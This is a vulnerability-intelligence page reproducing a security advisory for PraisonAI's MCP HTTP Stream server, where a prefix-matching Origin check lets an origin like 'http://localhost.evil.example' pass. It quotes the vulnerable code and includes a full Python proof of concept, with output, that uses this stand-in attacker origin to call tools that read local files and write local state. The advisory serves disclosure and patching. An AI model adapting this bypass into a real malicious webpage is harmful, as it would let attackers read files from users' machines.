Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
AV:N for browser-mediated localhost delivery; AC:H for concurrent preconditions; PR:N as attacker needs no credentials; UI:R for mandatory victim page visit; S:C for browser-to-localhost boundary crossing; C:H for arbitrary local file read; I:L for limited local state writes; A:N as no availability impact is described.
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
Lifecycle Timeline
2DescriptionCVE.org
Summary
PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.
As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.
When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.
This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.
Details
Relevant source locations:
src/praisonai/praisonai/mcp_server/cli.pysrc/praisonai/praisonai/mcp_server/transports/http_stream.pysrc/praisonai/praisonai/mcp_server/server.pysrc/praisonai/praisonai/mcp_server/adapters/__init__.pysrc/praisonai/praisonai/mcp_server/adapters/extended_capabilities.pysrc/praisonai/praisonai/mcp_server/adapters/cli_tools.pysrc/praisonai/praisonai/capabilities/files.py
The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:
register_all()
server.run_http_stream(
host=parsed.host,
port=parsed.port,
endpoint=parsed.endpoint,
api_key=parsed.api_key,
cors_origins=cors_origins,
allowed_origins=allowed_origins,
session_ttl=parsed.session_ttl,
allow_client_termination=allow_termination,
response_mode=parsed.response_mode,
resumability_enabled=parsed.resumability,
)When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:
if allowed_origins is None:
if host in ("127.0.0.1", "localhost", "::1"):
self.allowed_origins = [
"http://localhost",
"http://127.0.0.1",
"https://localhost",
"https://127.0.0.1",
]The vulnerable validation accepts origins that merely start with an allowlisted value:
for allowed in self.allowed_origins:
if request_origin == allowed or request_origin.startswith(allowed):
return TrueBecause http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.
Authentication is only enforced if an API key is configured:
if self.api_key:
auth_header = request.headers.get("Authorization", "")
if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
return JSONResponse(
{"error": "Unauthorized"},
status_code=401,
)The request body is then parsed and dispatched to the MCP server:
body = await request.json()
response = await self.server.handle_message(body)The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:
tool_name = params.get("name")
arguments = params.get("arguments", {})
tool = self._tool_registry.get(tool_name)
if asyncio.iscoroutinefunction(tool.handler):
result = await tool.handler(**arguments)
else:
result = tool.handler(**arguments)register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:
def _register_all():
register_all_tools()
register_extended_capability_tools()
register_cli_tools()
register_mcp_resources()
register_mcp_prompts()One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():
@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
from praisonai.capabilities import file_create
result = file_create(file=file_path, purpose=purpose)file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:
file_obj = file
if isinstance(file, str):
file_obj = open(file, 'rb')
response = litellm.create_file(**call_kwargs)Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.
PoC
The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.
Run from the repository root with test dependencies installed:
python3 poc_mcp_origin_bypass.pypoc_mcp_origin_bypass.py:
import json
import os
import sys
import tempfile
import types
from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")
def create_file(**kwargs):
f = kwargs["file"]
captured["filename"] = getattr(f, "name", "<bytes>")
captured["content"] = f.read().decode("utf-8")
class Resp:
id = "file-safe-local-poc"
object = "file"
bytes = len(captured["content"])
filename = captured["filename"]
purpose = kwargs.get("purpose")
status = "processed"
return Resp()
fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all
register_all()
server = MCPServer(name="praisonai-local-poc")
# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
server=server,
host="127.0.0.1",
api_key=None,
allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)
with tempfile.TemporaryDirectory() as td:
os.environ["HOME"] = td
marker = Path(td) / "safe-marker.txt"
marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")
file_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "praisonai.files.create",
"arguments": {
"file_path": str(marker),
"purpose": "assistants",
},
},
}
# Non-localhost malicious origin is blocked.
blocked = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "https://evil.example",
"Content-Type": "text/plain",
},
)
# Prefix-matching bypass: accepted because it starts with http://localhost.
bypass = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_payload = {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "praisonai.todo.add",
"arguments": {
"content": "SAFE_LOCAL_TODO_MARKER",
"priority": "high",
},
},
}
todo = client.post(
"/mcp",
data=json.dumps(todo_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_file = Path(td) / ".praison" / "todo.json"
print(json.dumps({
"blocked_origin_status": blocked.status_code,
"bypass_origin_status": bypass.status_code,
"bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
"captured_file_basename": Path(captured.get("filename", "")).name,
"captured_file_content": captured.get("content"),
"todo_status": todo.status_code,
"todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
"todo_file_exists": todo_file.exists(),
}, indent=2))Observed output:
{
"blocked_origin_status": 403,
"bypass_origin_status": 200,
"bypass_response_text": "File created: file-safe-local-poc",
"captured_file_basename": "safe-marker.txt",
"captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
"todo_status": 200,
"todo_response_text": "Todo added: 0440613d",
"todo_file_exists": true
}The important results are:
Origin: https://evil.exampleis rejected with403.Origin: http://localhost.evil.exampleis accepted with200.- The bypassed request invokes
praisonai.files.createand reads the local safe marker file. - The bypassed request invokes
praisonai.todo.addand writes local PraisonAI state.
Impact
A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.
In local testing, this allowed invoking registered PraisonAI tools that:
- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
- modify local PraisonAI state by writing to
~/.praison/todo.json.
The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.
AnalysisAI
Origin header validation bypass in PraisonAI's MCP HTTP Stream transport allows a malicious webpage to invoke unauthenticated MCP tool calls against a locally-running server by exploiting a Python startswith() prefix match that accepts http://localhost.evil.example as a trusted localhost origin. Affected are all pip/praisonai installations prior to version 4.6.58 running the MCP HTTP Stream server under the CLI-default configuration (no API key). …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Three concurrent conditions must hold: (1) The victim must be running PraisonAI's MCP HTTP Stream server without the `--api-key` argument - this is the CLI default and requires no special misconfiguration; (2) the victim must simultaneously visit a webpage whose Origin header string value begins with an allowlisted localhost prefix, achievable via a DNS entry for a subdomain like `localhost.evil.example` that the attacker controls or via DNS rebinding; and (3) the victim's browser must transmit cross-origin POST requests to 127.0.0.1:8080 (standard browser behavior for same-scheme origins). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD-assigned CVSS 3.1 score of 6.9 with vector AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N accurately reflects the multi-step, browser-mediated nature of the attack: high attack complexity acknowledges the concurrent preconditions (server running without API key, victim visiting attacker page), user interaction is required (browser visit), and the scope change captures the browser-to-localhost trust boundary crossing. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Vendor-released patch: 4.6.58. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-65496
GHSA-wj6g-v78p-6fx3